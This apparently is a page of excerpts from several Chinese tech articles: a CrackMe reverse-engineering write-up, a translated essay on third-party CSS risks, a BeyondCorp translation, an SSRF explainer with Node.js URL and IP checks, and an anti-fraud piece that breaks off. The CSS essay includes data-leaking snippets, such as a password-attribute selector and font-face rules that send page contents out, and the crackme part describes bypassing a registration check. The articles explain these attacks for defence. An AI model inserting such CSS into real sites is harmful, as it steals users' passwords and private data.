，我们写1_345,78是符合要求的，同时要求用户名长度是3的整数倍，然后左键双击Edit2控件，即可给30C赋值，具体赋值结果又跟你的磁盘剩余空间有关。当上面这一系列嵌套判断都合规后，则完成310赋值0xF94,同时若是用户名是"ajj"，则显示隐藏控件ID是0x2FC的Label3,显示值是30C具体逆向分析过程如下310所有常量查找结果，如下310反汇编代码如下发现嵌套30C，那么继续常量查找30C，如下30C反汇编代码如下这里其实是这个crackme最难的地方了，其实逻辑并不复杂，需要耐性和记录给理清晰即可314和318总判断目标：314的值等于318的值相关事件函数：image14MouseDown最终逆向分析结论：其实314的值在上一个流程中已经赋值完毕，314的值取决于30C的值，30C分别是0、1、2、3的时候，314分别是0x41、0x3D、0x34、0xDF，而318的值，则是点击14幅图片，区分左右键，分别自增不同的数值，具体如下方图片，最终要求318的值等于314的值具体逆向分析过程如下所有常量314查找结果，如下314反汇编代码如下318所有常量查找结果，如图至此，如下图timer2所有的总判断全部过关，所以timer2每次触发，都将走注册成功的流程，是不是感觉很刺激，跃跃欲试的，去网盘中下载，去折磨自己的吧文章中涉及软件、课件、源码等均在网盘，为避免网盘链接失效，公众号中回复：网盘欢迎关注微信公众号：逆向驿站相关文章● CrackMe-005精解（上）● CrackMe-004精解● CrackMe-003精解● CrackMe-002精解● CrackMe-001精解本期标签：dededark|delphi反汇编|crackme|crackme5|crackme05

第三方CSS安全吗？

原文：https://jakearchibald.com/201…翻译：疯狂的技术宅本文首发微信公众号：jingchengyideng欢迎关注，每天都给你推送新鲜的前端技术文章前一段时间，有很多关于用CSS构建的“键盘记录器”的讨论（源代码见：https://github.com/maxchehab/…）。有些人要求浏览器“修复”它。另有一些人挖掘得更深一些，发现它只影响使用React及类似框架编写的网站，并为此指责React。不过真正的问题在于第三方内容是不是“安全的”。下面我们逐一分析这些第三方内容。第三方图片<img src=“https://example.com/kitten.jpg">如果因为我信任example.com，就在自己的代码中包含上述内容。那么他们可能会删除资源，从而给我返回一个404，使我的网站看起来支离破碎，从而辜负了这种信任。同时他们也有可能会用一些不恰当的内容取代原来的图片。不过图像的影响仅限于元素本身的内容框。我可以向自己的用户解释“这是来自example.com的内容，如果它变冒犯了你，那是他们的错，可别来找我”，并寄希望于用户们能够相信我。但是这种事肯定不会影响我数据库中密码字段之类的东西。第三方脚本<script src=“https://example.com/script.js"></script>与图片相比，第三方脚本有更多的控制权。如果我的代码中包含上述内容，就会给example.com完全控制自己的网站的机会。他们能：读取/更改页面内容。监控用户交互的每一个步骤。运行计算量很大的代码（比如用你的浏览器挖矿）。盗取用户的cookie向我的来源发出请求，并转发响应数据。读取/更改原始存储。几乎可以做任何他们想做的事。“原始存储”位非常重要。如果脚本影响了IndexedDB或缓存存储API，即使你把脚本删掉，攻击也可能会仍然继续。如果你在自己的代码中引用了来自其他来源的脚本，那么必须绝对信任它们，并保证其安全性。如果遇到恶意脚本，则应使用 Clear-Site-Data 标头清除所有站点数据。第三方CSS<link rel=“stylesheet” href=“https://example.com/style.css">CSS的作用更接近于脚本而不是图像。和脚本一样，它适用于整个页面。它可以：删除/添加/修改页面内容。根据页面内容发出请求。对许多用户交互作出响应。CSS不能修改原始存储，你不能用CSS写一个挖矿程序（也有可能，或许我还不知道），但恶意CSS仍然可以造成很大的破坏。键盘记录器咱们从最开始的那个问题开始input[type=“password”][value$=“p”] { background: url(’/password?p’);}如果输入的 value 属性以 p 结尾，上面的代码将触发对 /password?p 的请求。对每个字符都会执行此操作，这样你会获得大量键盘输入的数据。默认情况下，浏览器不会将用户输入的值存储在 value 属性中，因此攻击往往在同步这些值的内容时发生，例如React。为了缓解这种情况，React可以使用另一种同步密码字段的方法，或者浏览器可以限制与密码字段的 value 属性匹配的选择器，但这仅仅是一种虚假的安全感。你只不过是解决了一个特定的问题，但其他情况下一切照旧。如果 React 切换到使用data-value属性，则上述手段将失败。如果站点将输入更改为type =“text”，那么用户可以看到他们正在输入的内容，则这种手段失败。如果站点创建<better-password-input>并将值作为属性公开，同样上述手段失败。此外，还有许多基于CSS的攻击：消失的内容body { display: none;}html::after { content: ‘HTTP 500 Server Error’;}这是一个极端的例子，但想象一下，如果第三方代码为你的一小部分用户做了这种事，会出现什么样的后果：将会侵蚀掉用户对你的信任，同时很难排查问题到底出在何处。更加腹黑的黑客可能会偶尔删除“购买”按钮，或着重新排列内容中的段落。添加内容.price-value::before { content: ‘1’;}哎呀，你这么快就涨价了！移除内容delete-everything-button { opacity: 0; position: absolute; top: 500px; left: 300px;}把一个有“删库跑路”功能的按钮设为不可看，然后再把它放在用户可能会点击的地方。值得庆幸的是，如果按钮执行的是后果非常严重的操作，该网站可能会首先显示确认对话框。没关系，只需使用更多的CSS来诱骗用户单击“是的我确定！”按钮而不是“哦天呐！不是！”按钮。想象一下，如果浏览器确实试图消除“键盘记录”这种小伎俩的影响。攻击者还可以在页面上放一个非密码文本输入框（可能是搜索字段）并将其覆盖在密码输入框之上，呵呵，现在他们又回来了。读取属性你担心的可不仅仅是密码。一些私有内容可能会保存在属性中：<input type=“hidden” name=“csrf” value=“1687594325”><img src="/avatars/samanthasmith83.jpg”><iframe src=”//cool-maps-service/show?st-pancras-london”></iframe><img src="/gender-icons/female.png"><div class=“banner users-birthday-today”></div>所有这些都可以被CSS选择器设为目标，并且可以把结果发到某个服务器上。监控互动.login-button:hover { background: url(’/login-button-hover’);}.login-button:active { background: url(’/login-button-active’);}可以将hover和active等动作发送回服务器。适当的使用CSS，你可以很好地了解用户想要干什么。读取文本@font-face { font-family: blah; src: url(’/page-contains-q’) format(‘woff’); unicode-range: U+71;}html { font-family: blah, sans-serif;}在这种情况下，如果页面包含q，将发送请求。你可以为不同的文字创建大量的这种请求，并可以定位特定的元素。字体还可以包含连字，因此还可以检测字符序列。你甚至可以将字体技巧与滚动条检测相结合，从而能推断出更多相关内容的信息。结论：第三方内容并不安全这些只是我所知道的一些技巧，我相信还会有更多类似的小技巧。第三方内容在其沙箱中具有很高的影响力。虽然图像或沙盒iframe有着非常小的沙箱，但脚本和样式的作用范围却影响你的整个页面，甚至是整个站点。如果你担心用户会欺骗你的网站去加载第三方资源，可以使用CSP（内容安全策略）保证安全，从而限制从中获取图像，脚本和样式的位置。还可以使用子资源完整性来确保脚本/样式的内容与特定的哈希匹配，否则将无法执行。如果你对这种安全技术感兴趣，包括滚动条技巧的更多细节，可以去看看Mathias Bynens在2014年的演讲，Mike West在2013年的演讲，或Mario Heiderich等人的2012年论文。没错，这些技术并不是最新的。本文首发微信公众号：jingchengyideng欢迎关注，每天都给你推送新鲜的前端技术文章 ...

国际大厂 Google 安全策略——【译】BeyondCorp 一种新的企业安全方法

前文介绍本文是对于 Google 相关安全策略的中文翻译，方便大家了解 Google 的相关安全策略。如果大家有兴趣阅读原文，可以通过BeyondCorp A New Approach to Enterprise Security进行访问。BeyondCorp 一种新的企业安全方法（正文内容）实际上每一个公司现在都使用防火墙来强制保证网络边界安全。然而，这个安全模型是存在问题的，因为，当网络边界被攻破时，攻击者可以相对简单的访问公司的内网。当公司采用移动设备和云技术时，网络边界会变得越来越难以保证。Google 正在采用一个不同的方法来保证网络安全。我们舍弃了内网的要求，而是把我们的企业应用搬到了互联网上。从早前的IT基础设施开始，企业就开始使用网络边界来保护和限制内部资源的访问。网络边界安全模型经常和中世纪城堡相比较：一座厚墙的城堡，被护城河包围，唯一的出入口有重兵把守。城外的任何东西都认为是危险的，而城内的任何东西都认为是安全可靠的。任何穿过吊桥进入城堡访问资源都得到了授权。当一个企业的所有的员工只在公司办公时，网络边界安全模型能够很好的运转。然而，在移动员工队伍来临的情况下，被许多员工使用的设备的浪潮，和基于云服务的增长，另一种攻击方式已经出现，而且这种新的攻击方式正在想传统领域扩展。这个模型的管家假设已经不再成立：网络边界已经不仅仅局限于企业的物理位置，并且位于网络边界内的也不再是一个安全可靠的地方，可以用于托管个人电脑和企业应用。然而，大多数的企业都假设内网是一个放置企业应用的安全的环境，Google 的经验已经证明，这个结论是错误的。所以，我们应该假设内部网络和外网一样充满危险，构建企业应用也应该基于这个假设。Google BeyondCorp 方案是使用一个新的废除内部特殊办公网络的模型。取代特殊办公网络模型的是，只依赖设备和用户证书而不是用户网络位置——例如在公司网络、家中网络、在酒店活着在咖啡厅来进行访问控制。所有对企业资源的访问都是认证过的完全合法的，并且基于设备状态和用户证书加密过的。我们可以对不同的企业资源实施细粒度的访问控制。因此，所有 Google 的员工可以在任意网络下进行办公，并且不需要一个传统的 VPN 来连接到内部网络。除了一些潜在的差异，在本地和远端访问企业数据的用户体验实际上几乎完全相同。BeyondCorp 的主要组件BeyondCorp 是由许多合作的组件组成，保证只有合适的经过认证多设备和用户才可以通过认证访问到必要的企业应用。每一个组件都会在下面进行描述（见图片1）。安全地识别设备设备清单数据库BeyondCorp 使用“受管理设备”的概念，用来表示由企业生产并且受到企业控制的设备。只有受管理设备才可以访问企业应用。围绕设备清单数据库的设备跟踪和采购流程是此模型的基石之一。当设备在有效的生命周期内时，Google 保证对设备变化的跟踪。信息会受到监控、分析，会在 BeyondCorp 的其他部分发挥价值。因为 Google 有许多的清单数据库，所以元数据库可以用来从多个来源合并和标准化设备信息，并且让这些信息在 BeyondCorp 的下游组件中发挥价值。在这里有了这些元数据，我们就有了需要访问我们企业的所有设备信息了。设备识别所有的设备都需要通过某种特定的方式来进行特定标记，并且将标记记录到设备清单数据库。有一种特定的来完成标记的方式就是使用设备证书来区分每一个设备。为了收到证书，设备必须在当前正确的存储在设备清单数据库中。这个证书是存储到名字叫做TPM（授信平台模块）的硬件或软件，或者一个合理的证书存储中。设备认证过程会认证设备证书存储的有效性，只有通过认证的设备我们才认为是一个受管理设备。由于证书会定期更新，所以这些检查也是强制的。一旦安装过后，这个证书会使用在与企业服务的所有通信中。虽然证书可以唯一地识别设备，单它不是单向访问权限。它是作为一个关于这个设备信息的一个密钥。安全定义用户用户和组织数据库BeyondCorp 也使用用户数据库和组织数据库来追踪和管理所有的用户。这个数据库系统已经与 Google 的包含所有用户的工作分类、用户名与组成员身份等 HR 流程深度整合。当员工加入公司时，就会改变角色和责任，当离开公司时，这些数据库也会更新。这些系统告诉 BeyondCorp 关于需要访问企业的用户所有的合理信息。单点登录系统对于外部来说，单点登录系统是一个集中用户认证的入口，在用户请求访问企业资源时，用于认证主要和第二因子证书。在使用用户数据库和组织数据库验证用户后，单点登录系统会生成一个短生命周期的可以用来作为访问部分特定资源的认证凭证。从网络中移除互信基于无特权网络（Unprivileged Network）为了让本地访问和远端访问保持一致，即使是在一个私有的地址空间里，BeyondCorp 也定义和依赖与外部网络非常相似的无特权网络。无特权网络只能连接到互联网、受限的基础服务（如 DNS、DHCP 和 NTP 等）和像 Puppet 一样的配置管理系统。所有的客户端设备在 Google 大楼中时，都会分配到此网络上。在这个网络和 Google 的其他部分网络之间，有一个严格的管理 ACL（访问管理清单）。802.1x 有线和无线网络访问认证不论是有线网络还是无线网络访问， Google 都是使用基于802.1x认证的 RADIUS 服务来分配设备到合适的网络上。我们使用动态而不是静态的 VLAN 分配策略。这个方法意味着，相比依赖静态的控制器/端口的配置方式，我们使用 RADUIS 服务来通知控制器给已经认证的设备分配合适的 VLAN。受管理的设备提供他们的设备证书作为 802.1x 握手的一部分，然后被分配到无特权网络中，如果是企业网络中的不识别的或者不受管理的设备，就把他们分配到修复网络或者访客网络中。外部应用和工作流面向网络的访问代理在 Google 所有的企业应用都是通过在客户端和应用之间强制加密的面向网络的访问代理暴露给内部和外部的客户端。每个应用都配置了访问代理，并且有共同的特征如全球可达性、负载均衡、访问控制检查、应用健康检查和拒绝服务攻击保护。这个代理在经过了访问控制检查（描述见下文）后，把请求委托给了后端的合适的应用。公共 DNS 入口所有的 Google 企业应用都对外暴露，并且在公共的 DNS 中注册，CNAME 将应用程序指向面向网络的访问代理。实施基于清单的控制用户和设备授信每个用户或者设备的访问级别是可以根据时间变化的。在访问多个数据源时，我们可以实现动态的推断每个用户或者设备的信任级别。这个信任级别可以在访问控制引擎（描述见下文）中作为它的决策过程中的一部分来使用。例如，一个设备没有更新最新的操作系统补丁，它可能就会导致被降低到一个更低的信任级别。一类特定的设备，例如特定的电话或者平板，可能就会有一个特定的信任级别。用户从新的地点访问应用可能会有一个不同的信任级别。我们同时使用静态规则和启发算法来确定信任的级别。访问控制引擎带有访问代理的访问控制引擎在请求企业应用之前提供了服务级别的基本认证。这个认证决策对用户、用户所属组、设备证书和来自设备清单数据库中的设备信息进行断言。如果需要的话，访问控制引擎也可以强制基于地理位置的访问控制。用户与设备的信任级别推断也包含认证决策。例如， Google bug 跟踪系统的访问权限可以限制为使用工程师设备的全职工程师。财务应用的访问权限可以限制为使用受管理的非工程师设备的在财务操作组的全职和兼职员工。访问控制引擎也可以通过不同的方式来限制同一个应用的不同部分。例如，查看 bug 跟踪系统的入口可能就比更新或者查找同一个 bug 跟踪系统需要更少的访问控制。进入访问控制引擎的管道访问控制引擎不断的从运行中的可以获取数据来帮助进行访问决策的管道中收集反馈。除了其他因素外，包含证书白名单的信息、用户和设备的信任级别和设备与用户的清单详情。端到端示例应用在这个例子中，我们假设已经有一个应用被放入 BeyondCorp 中。这个应用被工程师用来审计代码、评论代码、更新代码和当审计者同意时，提交代码。这个应用 codereviw.corp.google.com 被限制为只有全职和兼职工程师使用任意受管理设备才可以访问。配置面向网络的访问代理codereview.corp.google.com 的拥有者为这个服务配置了访问代理。这个配置指定了后端的地址和每个后端最大的通信量。codereview.corp.google.com 这个域名已经在公共的 DNS 服务中进行了注册，它的 CNAME 指向了访问代理。例如：$ dig @8.8.8.8 codereview.corp.google.com; <<>> DiG 9.8.1-P1 <<>> @8.8.8.8 codereview.corp.google.com; (1 server found);; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12976;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0;; QUESTION SECTION:;codereview.corp.google.com. IN A;; ANSWER SECTION:codereview.corp.google.com. 21599 IN CNAMEaccessproxy.l.google.com.accessproxy.l.google.com. 299 IN A 74.125.136.129;; Query time: 10 msec;; SERVER: 8.8.8.8#53(8.8.8.8);; WHEN: Wed Aug 20 19:30:06 2014;; MSG SIZE rcvd: 86配置访问控制引擎访问控制引擎提供了默认的规则：限制只有全职工程师使用受管理设备可以访问。codereview.corp.google.com 的拥有者在两个方面提供了指定的更多的授权访问的规则：最高信任级别的受管理设备，和有着最高信任级别的全职以及兼职的工程师。一个工程师访问网络如果网络是位于企业管理的物理建筑的外面：通过一个 Google 提供的笔记本电脑，一个工程师访问任意的 WiFi 网络。例如，这个网络可能是使用便携设备或者咖啡厅的WiFi所组成的机场的 WiFi 网络。我们不需要打开一个 VPN 来连接到公司网络。如果网络是位于企业管理的物理建筑的里面：通过一个 Google 提供的笔记本电脑或者桌面端，工程师访问企业网络。笔记本像 RADIUS 服务提供了它的设备证书用于 802.1x 的握手。只要提供了有效的证书，笔记本电脑就会被在无特权网路中分配一个地址。如果这个设备不是公司发行的电脑，或者说证书已经过期了，这个设备就会被分配一个有许多限制访问权限的修复网络的地址。访问应用，不考虑网络从一个公司发布的笔记本电脑上的网络，工程师可以访问 codereview.corp.google.com。你可以查图 1 来作为流程的参考。请求直接到达访问代理。笔记本提供了它的设备证书。访问大礼没有识别出用户，因此直接重定向到了 SSO 系统。工程师提供了他的主要因子和第二因子身份认证因素，通过了 SSO 系统的认证，获得了一个凭证，从定向回到访问代理。访问代理目前拥有识别设备的设备证书、识别用户的 SSO 的凭证。访问控制引擎执行配置给 codereview.corp.google.com 的指定的认证检查。这个认证检查是关于每一个请求：a. 这个用户已经被工程师组确认。b. 这个用户已经确认拥有足够的信任级别。c. 这个设备已经确认过是一个有良好记录的受管理设备。d. 这个设备已经确认拥有足够的信任级别。e. 如果所有的检查都通过了，这个请求可以通过，并且可以访问到合适的后端服务。f. 如果上述检查失败了，那么这个访问会被拒绝。使用这种方法，我们可以对每个请求进行丰富的服务级别身份验证和授权检查。向 BeyondCorp 迁移就像世界上所有其他企业一样，Google 在很多年中都有一个为了它的客户端和应用的无特权网络。这种模式的产生对企业的日常工作至关重要。当所有的公司组件都将迁移到 BeyondCorp 时，一次性移动所有网络中的用户和所有应用到 BeyondCorp 环境对于业务连续性来说都是一个难以置信的风险。正是由于整个原因，Google 在分阶段迁移方面花费了大量的资源，才成功的将许多组中的网络用户零影响地迁移到 BeyondCorp 中。下面的部分，表示图2，详细说明了我们做的工作。(https://)工作流程资格在 Google 中使用的所有应用都需要通过访问代理来工作。BeyondCorp 主动的检查和授权所有应用，让完成任务从复杂（例如 SSO 整合）变得简单（例如支持 HTTPS 通信）。每一个应用都需要一个访问代理的配置，并且，在许多情况下会在访问控制引擎中有特定的内容。每一个应用都经过了以下阶段：可以从特权网络直接访问或者在外部通过一个 VPN 访问。可以通过特权网络直接访问或者从外网和无特权网络通过一个访问代理进行访问。在这个场景下，我们使用分布式 DNS。内部名称服务器直接指向应用，而外部名称指向访问代理。外网、特权和无特权网络都通过访问代理进行访问。工作职能分析通过检查整个公司的工作职能和根据工作流程资格来分析此信息，我们可以对迁移到用户组进行优先级排序。因此，我们可以选择在那个时间点上，对整个工作流以及对 BeyondCorp 的能力非常理解的来自财务、销售、法务或者工程师团队的网络用户。减少 VPN 的使用越来越多的引用可以通过访问代理进行访问是，我们开始积极地阻止使用 VPN 的用户，采用以下策略：我们限制了 VPN 的访问，只有被证实的需求的用户才可以使用。我们监控了 VPN 的使用情况，并且删除了特定时间端内没有使用过 VPN 的用户的使用权限。我们监控了 VPN 的使用和活跃的 VPN 用户。如果所有的工作流都一块通过访问代理实现，我们积极地鼓励用户放弃VPN 访问权利。流量分析管道当我们确定（或者几乎确定）用户所有的工作流在无特权网络中可以正常使用时，我们把用户迁移到无特权网络就非常重要了。为了确定一个相对的程度，我们建立了一个流量分析管道。作为整个管道的输入，我们从公司的每一个开关的净流量进行数据取样。然后，根据非特权网络和公司其他网络之间的规范 ACL 来分析这些数据。这些分析能够让我们确定通过了 ACL 的总流量，和一个没有通过 ACL 的流量有序列表。没有通过 ACL 的流量可以关联到特定的工作流或者特定的用户或者特定的设备。然后，我们逐步浏览没有通过的列表，使其在 BeyondCorp 环境中运行。无特权网络模拟器为了增加从开关中使用抽象的流量分析管道，我们也在整个公司通过连接到 Google 网络的安装了流量监控的用户设备来模拟非特权网络中的行为。这个流量监控检测作为每一个设备的基础服务，检查所有输入和输出流量，根据 ACL 规范来验证非特权网络和公司其他网络的流量，记录没有通过验证的流量。这个监控有两种模式：记录模式：捕获不合格的流量，但是仍然允许这部分流量离开设备。强制模式：捕获和丢弃不合格的流量。迁移策略有了流量分析管道和非特权模拟器，我们根据以下内容确定和分阶段实施迁移策略：通过工作职能或者工作流或者地理位置来定义潜在的候选集合。在记录模式下操作模拟，定义用户和设备在持续的 30 天间有超过 99.9% 的合格流量。激活模拟器的强制模式，定义用户和设备在持续的 30 天间有超过 99.9% 的合格流量。在操作模拟器到强制模式成功 30 天后，将当前情况记录到设备清单中。除了包含在候选集中之外，在模拟器的执行模式中成功操作30天提供了一个非常强烈的信号，即当 RADIUS 服务器为下一个 802.1x 认证请求提供服务时，应将设备分配给非特权网络。异常处理除了尽可能的将我们的用户和设备从特权网络自动迁移到非特权网络上以外，我们也在这次迁移中实现了一个简单的流程让用户可以暂时的不迁移。我们包含一个已知的没有完成 BeyondCorp 迁移的工作流清单。用户可以在正常的允许等级中使用这些工作流程，标记他们和他们的设备作为特定工作流的活跃用户。当这个工作流最终完成迁移时，这些用户就会收到通知，并且再次被选中需要进行迁移。完成 BeyondCorp 迁移Google 企业向 BeyondCorp 的迁移正在进行汇总，它需要的主要的工作流已经完成了。我们的迁移工具和战略允许我们再不影响日常的生产情况下，主动地迁移用户、设备和工作流到 BeyondCorp 中。我们预计使用了很长一段时间的工作流需要花费一些实践才能迁移到 BeyondCorp 中。例如，使用特点协议与服务端进行交互的重客户端应用就会是一个挑战。我们调研了许多方式来让这些应用接入 BeyondCorp ，也许通过认证服务来进行匹配。随着我们向 BeyondCorp 迁移，我们打算发布后续文章来解释为什么和 Google 如何迁移到 BeyondCorp 上，旨在鼓励其他的企业实施相似的策略。总结本文主要通过介绍了在 BeyondCorp 项目中各个组成部分和相关的作用，以及 Google 公司相关的迁移策略和方式，让我们大家对整个项目有了一个大概的了解。论文后续还有几篇文章，更加详细的讲述了 BeyondCorp 相关的产品。我也会持续的进行更新，欢迎大家关注。作者介绍与转载声明黄珏，2015年毕业于华中科技大学，目前任职于美团基础研发平台大象业务部，独立负责大象 Web SDK 的开发与维护。本文未经作者允许，禁止转载。 ...

Web 安全漏洞 SSRF 简介及解决方案

说到 Web 安全，我们前端可能接触较多的是 XSS 和 CSRF。工作原因，在所负责的内部服务中遭遇了SSRF 的困扰，在此记录一下学习过程及解决方案。SSRF（Server-Side Request Forgery），即服务端请求伪造，是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容，加载指定地址的图片，下载等等。攻击者可根据程序流程，使用应用所在服务器发出攻击者想发出的 http 请求，利用该漏洞来探测生产网中的服务，可以将攻击者直接代理进内网中，可以让攻击者绕过网络访问控制，可以下载未授权的文件，可以直接访问内网，甚至能够获取服务器凭证。笔者负责的内部 web 应用中有一个下载文件的接口 /download，其接受一个 url 参数，指向需要下载的文件地址，应用向该地址发起请求，下载文件至应用所在服务器，然后作后续处理。问题便来了，应用所在服务器在这里成了跳板机，攻击者利用这个接口相当于取得了内网权限，能够进行不少具有危害的操作。SSRF 带来的危害有：可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的 banner 信息;攻击运行在内网或本地的应用程序（比如溢出）;对内网 web 应用进行指纹识别，通过访问默认文件实现;攻击内外网的 web 应用，主要是使用 get 参数就可以实现的攻击（比如 struts2，sqli 等）;利用 file 协议读取本地文件等。通用的解决方案有：过滤返回信息。验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的文件，那么在把返回结果展示给用户之前先验证返回的信息是否符合标准；统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态；限制请求的端口为 http 常用的端口，比如 80, 443, 8080, 8090；白名单内网 ip。避免应用被用来获取获取内网数据，攻击内网；禁用不需要的协议。仅仅允许 http 和 https 请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。由于笔者的应用 /download 接口请求的文件地址比较固定，因此采用了白名单 IP 的方式。当然，笔者也学习了一下更加全面的解决方案，下面给出安全部门同事的思路：协议限制（默认允许协议为 HTTP、HTTPS）、30x跳转（默认不允许 30x 跳转）、统一错误信息（默认不统一，统一错误信息避免恶意攻击通过错误信息判断）IP地址判断：禁止访问 0.0.0.0/8，169.254.0.0/16，127.0.0.0/8 和 240.0.0.0/4 等保留网段若 IP 为 10.0.0.0/8，172.16.0.0/12，192.168.0.0/16 私有网段，请求该 IP 地址并判断响应 contents-type 是否为 application/json解决 URL 获取器和 URL 解析器不一致的方法为：解析 URL 后去除 RFC3986 中 user、pass 并重新组合 URL然后是按照以上思路实现的 Node.js 版本的处理 SSRF 漏洞的主要函数的代码：const dns = require(‘dns’)const parse = require(‘url-parse’)const ip = require(‘ip’)const isReservedIp = require(‘martian-cidr’).defaultconst protocolAndDomainRE = /^(?:https?:)?//(\S+)$/const localhostDomainRE = /^localhost[:?\d](?:[^:?\d]\S)?$/const nonLocalhostDomainRE = /^[^\s.]+.\S{2,}$//** * 检查链接是否合法 * 仅支持 http/https 协议 * @param {string} string * @returns {boolean} /function isValidLink (string) { if (typeof string !== ‘string’) { return false } var match = string.match(protocolAndDomainRE) if (!match) { return false } var everythingAfterProtocol = match[1] if (!everythingAfterProtocol) { return false } if (localhostDomainRE.test(everythingAfterProtocol) || nonLocalhostDomainRE.test(everythingAfterProtocol)) { return true } return false}/* * @param {string} uri * @return string * host 解析为 ip 地址 * 处理 SSRF 绕过：URL 解析器和 URL 获取器之间的不一致性 * /async function filterIp(uri) { try { if (isValidLink(uri)) { const renwerurl = renewUrl(uri) const parseurl = parse(renwerurl) const host = await getHostByName(parseurl.host) const validataResult = isValidataIp(host) if(!validataResult) { return false } else { return renwerurl } } else { return false } } catch (e) { console.log(e) }}/* * 根据域名获取 IP 地址 * @param {string} domain /function getHostByName (domain) { return new Promise((resolve, reject) => { dns.lookup(domain, (err, address, family) => { if(err) { reject(err) } resolve(address) }) })}/* * @param {string} host * @return {array} 包含 host、状态码 * * 验证 host ip 是否合法 * 返回值 array(host, value) * 禁止访问 0.0.0.0/8，169.254.0.0/16，127.0.0.0/8，240.0.0.0/4 保留网段 * 若访问 10.0.0.0/8，172.16.0.0/12，192,168.0.0/16 私有网段，标记为 PrivIp 并返回 /function isValidataIp (host) { if ((ip.isV4Format(host) || ip.isV6Format(host)) && !isReservedIp(host)) { if (ip.isPrivate(host)) { return [host, ‘PrivIp’] } else { return [host, ‘WebIp’] } } else { return false }}/* * @param {string} uri * @return {string} validateuri * 解析并重新组合 url，其中禁止’user’ ‘pass’组合 */function renewUrl(uri) { const uriObj = parse(uri) let validateuri = ${uriObj.protocol}//${uriObj.host} if (uriObj.port) { validateuri += :${uriObj.port} } if (uriObj.pathname) { validateuri += ${uriObj.pathname} } if (uriObj.query) { validateuri += ?${uriObj.query} } if (uriObj.hash) { validateuri += #${uriObj.hash} } return validateuri}对于最主要的可能出现漏洞的接口处理函数，由于各逻辑不同，这里就不给出具体实现。但是只要按照上面提出的规避 SSRF 漏洞的原则，结合上述几个函数，就能大致完成。最后，一句话总结：永远不要相信用户的输入！本文首发于我的博客（点此查看），欢迎关注 ...

从拼多多优惠券事件看到的一些反思

本文由云+社区发表作者：颜国平摘要：最近几年，电商行业飞速发展，各种创业公司犹如雨后春笋大量涌现，商家通过各种活动形式的补贴来获取用户、培养用户的消费习惯，即将到来的“ 购物狂欢节”尤其明显。但任何一件事情都具有两面性，高额的补贴、优惠同时了也催生了“羊毛党”。“羊毛党”的行为距离欺诈只有一步之遥，他们的存在严重破环了活动的目的，侵占了活动的资源，使得正常的用户享受不到活动的直接好处。这篇文章主要分享下腾讯自己是如何通过大数据、用户画像、建模来防止被刷、恶意撞库的。黑产“羊毛党”现状介绍“羊毛党”一般先利用自动机注册大量的目标网站账号，当目标网站搞促销、优惠等活动的时候，利用这些账号参与活动刷取较多的优惠，最后通过某宝等电商平台转卖获益。一.“羊毛党”分工据初步估计，全国“羊毛党”在20万人左右，他们往往有着明确的分工，已形成了几大团伙：1.软件制作团伙：专门制作各种自动、半自动的黑产工具，比如注册自动机、刷单自动机等；他们主要靠出售各种黑产工具、提供升级服务等形式来获利。2.短信代接平台：实现手机短信的自动收发。这其中，有一些短信平台是亦正亦邪，不但提供给正常的商家使用，一些黑产也会购买相关的服务。3.账号出售团伙：他们主要是大量注册各种账号，通过转卖账号来获利；该团伙与刷单团伙往往属于同一团伙。4.刷单团伙：到各种电商平台刷单，获取优惠，并且通过第三方的电商平台出售优惠，实现套现。也就是说，这些“羊毛党“在电商促销或优惠活动中，已逐步形成了相对完善的刷单及变现工作流程（见图1：电商刷单团伙工作流程）:图1：电商刷单团队的工作流程二.“羊毛党”从业特点从“羊毛党“的分工与工作流程看，他们具有以下从业特点：1.专业化：有专业团队、人员、机器来做。2.团伙化：已经形成一定规模的团伙，而且分工明确；从刷单软件制作、短信代收发平台、电商刷单到变卖套现等环节，已经形成完整的刷单团伙。3.地域化：刷单黑产团伙基本分布在沿海的一些经济发达城市，比如，北京、上海、广东等城市，这或许跟发达城市更加容易接触到新事物、新观念有关。下图2显示了我们TOP5的黑产刷单团伙分别位于：北京、上海、广州、江苏、浙江这些沿海较发达的经济区域。图2 TOP5黑产刷单团伙的地域分布三.对抗刷单的思路面对黑产刷单，我们有什么对抗思路呢？一般来讲，对抗刷单主要从注册、登陆、活动三个环节入手：1.注册环节：识别虚假注册、减少“羊毛党”能够使用的账号量。在注册环节识别虚假注册的账号，并进行拦截和打击。2.登录场景：提高虚假账号登录门槛，从而减少能够到达活动环节的虚假账号量。比如，登录环节通过验证码、短信验证码等手段来降低自动机的登录效率，从而达到减少虚假账号登录量、减轻活动现场安全压力的目的。3.活动环节：这个是防刷单对抗的主战场，也是减少“羊毛党”获利的直接战场；这里的对抗措施，一般有两个方面： 1）通过验证码（短信、语音）降低黑产刷单的效率。 2）大幅度降低异常账号的优惠力度。电商防刷架构一. 腾讯防刷总体架构面对疯狂的黑产刷单，按照对抗刷单的思路，基于腾讯的多维度大数据，腾讯专门设计并构建了电商防刷技术体系。总体防刷架构见下图3：图3：腾讯防刷单技术架构从上面的总体架构我们可以看到，整个系统分三层：接入层、实时计算层、存储&挖掘层。整个系统充分利用了腾讯海量业务生态中的多维度大数据，以及全方位的风控经验与能力。接下来我们详细介绍其中的一些核心模块。二.防刷单技术架构核心模块与框架介绍1.风险学习引擎对于风险学习引擎而言，效率问题非常关键。该模块线上采用的都是C++实现的DBScan等针对大数据的快速聚类算法，性能卓越；而且主要的工作都是线下进行，所以线上系统也不存在学习的效率问题。风险学习引擎采用了黑/白双分类器风险判定机制，可以很好地减少对正常用户的误伤。例如，某个IP是恶意的IP，那么该IP上可能会有一些正常的用户，比如大网关IP。再比如，黑产通过ADSL拨号上网，那么就会造成恶意与正常用户共用一个IP的情况。其中，黑分类器风险判定是根据特征、机器学习算法、规则/经验模型，来判断本次请求异常的概率。而白分类器风险判定则是判断属于正常请求的概率。见下图4示意：图4 